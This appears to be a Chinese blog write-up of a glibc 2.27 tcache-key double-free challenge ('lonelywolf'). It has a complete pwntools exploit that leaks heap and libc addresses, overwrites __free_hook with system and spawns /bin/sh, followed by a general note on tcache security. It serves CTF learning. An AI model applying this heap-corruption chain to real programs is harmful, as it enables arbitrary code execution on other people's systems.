2.27 tcache破坏key 打tcache dup 例题--lonelywolf

保护全开经典堆题 也是菜单的形式 我们静态分析看看

可以看到add函数 限制了chunk块的大小在0x78以下

edit函数

这里有个off by null但好像没用道、

show

打印地址

delete

没有置为0 存在uaf 漏洞

基本思路就是:通过泄露libc地址,通过double free 挂 free_hook 然后改为system

这里难点在于libc地址如何泄露,由于0x78 是被挂入fastbin而不是 unsortged bin 因此通过unsorted bin 来泄露地址是不可以的,因此我们这里要利用tcache的性质来打

我们知道tcache有一个tcache_pthread_stuct 的堆 也就是最开始位置的那个堆 那个的长度默认是0x250 我们可以通过泄露堆地址,用double free 把这个堆取出来 再free掉 就可以挂入unsorted bin当中 泄露地址了,因此还有个问题 堆地址如何来呢?通过tcache bin 中的double free addr<----addr fd就是addr 因此可以泄露堆地址,但由于是2.27版本后期 不难直接打double free 因为有一个key检验 那个key的值指向tcache_pthread_stuct下面0x10的位置,会检验这个key的值 如果一样就遍历一遍tcache bin 因此我们要破坏这个key 由于没有置0 直接edit 就可以了。这里还有个问题,就是tcache bin没满之前是不会挂入unsorted bin的因7此我们要 通过修改tcache的计数器counts 来把这个位置填为7 这里我也不知道为什么要挂在heap_base+0x10+0x20+p64(0x7000000)的位置 这点我不太明白

后泄露了libc地址之后 由于此时的tcache被释放进unsorted bin后在原本这些tcache counts对应的地方被写入了main_arena_96的地址,所以我们要先恢复tcache counts。然我们malloc一个0x80由于此时不属于fastbi n的范围因此进入tcache bin 因此就可以打tcache double free 但此时如果 malloc <0x80 就会被挂进fast bin fastbin打double free 比tcache 复杂 所以择取简单的打

#!/usr/bin/python3
import logging

from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
def dbg():
    gdb.attach(mx)
    pause()

#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
libc = ELF('./libc-2.27.so')
filename = "./lonelywolf"
mx = process(filename)
#io = remote("47.104.24.40",1337)
elf = ELF(filename)

#初始化完成---------------------------------------------------------
def add(size):
    sla("Your choice: ","1")
    sla("Index: ","0")
    sla("Size: ",str(size))

def edit(content):
    sla("Your choice: ","2")
    sla("Index: ","0")
    sla("Content: ",content)
def show():
    sla("Your choice: ","3")
    sla("Index: ","0")
def delete():
    sla("Your choice: ","4")
    sla("Index: ","0")
dbg()
add(0x28)
delete()
pause()
edit(p64(0)*2) #绕过double free检查
delete()
show()
rl("Content: ")
heap_base=h64()-0x260
log.success("heap_base"+hex(heap_base))

edit(p64(heap_base+0x10))
add(0x28)
add(0x28)

edit(p64(0)*4+p64(0x7000000))
pause()
delete()
show()
rl("Content: ")
libc_base=l64()-88-0x3ebc48
log.success(hex(libc_base))
libc.address=libc_base
free_hook=libc.symbols['__free_hook']
system=libc.symbols['system']
#---------------------

add(0x78)

delete()

edit(p64(free_hook))
pause()
add(0x78)
add(0x78)
edit(p64(system))
add(0x78)
edit(b"/bin/sh\x00")
delete()
inter()
  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
`tcache`是glibc中用于管理小块内存分配和释放的机制。它可以提高内存分配的性能,但也存在一些安全性问题。下面是对`tcache`的安全性进行分析: 1. Double Free(双重释放):`tcache`中的内存块被释放后,会直接存放在`tcache`链表中,而不会立即返回给操作系统。如果恶意代码释放同一个内存块两次,且这个内存块正好在`tcache`链表中,那么第二次释放会导致双重释放漏洞。攻击者可以利用该漏洞进行内存损坏、代码执行等攻击。 2. Use After Free(使用已释放的内存):如果程序在释放内存后继续使用该内存,就会发生 Use After Free 漏洞。由于`tcache`中的内存块没有被立即清零,因此攻击者可以通过重新分配相同大小的内存块来获取先前已释放的内存块,从而可能访问敏感数据或篡改程序的状态。 3. Heap Overflow(堆溢出):如果程序对`tcache`中的内存块进行操作时,超出了其分配的大小,就会导致堆溢出漏洞。攻击者可以通过溢出写入恶意数据,破坏相邻内存块的元数据或控制程序的执行流程。 4. Information Leak(信息泄漏):`tcache`链表中存储了先前已释放的内存块的地址。如果攻击者能够获取到这些地址,就可以通过分析这些信息来推断程序的内存布局或其他敏感信息。 为了减轻这些安全风险,建议在使用`tcache`时采取以下措施: - 避免双重释放:在释放内存后,及时将相关指针置为NULL,避免对已释放的内存进行第二次释放。 - 避免使用已释放的内存:在释放内存后,不要再对其进行任何操作,避免发生 Use After Free 漏洞。 - 对内存操作进行边界检查:确保不会发生堆溢出漏洞,即使攻击者通过重新分配相同大小的内存块获取到先前已释放的内存块。 - 清零敏感数据:在释放内存前,尽量将敏感数据清零,避免信息泄漏。 此外,及时更新glibc等库版本也可以提高`tcache`的安全性,因为库开发者通常会修复已知的安全漏洞和问题。 总之,虽然`tcache`可以提高内存管理的效率,但在使用过程中仍然需要注意安全性,并采取相应的措施来防止潜在的漏洞和攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值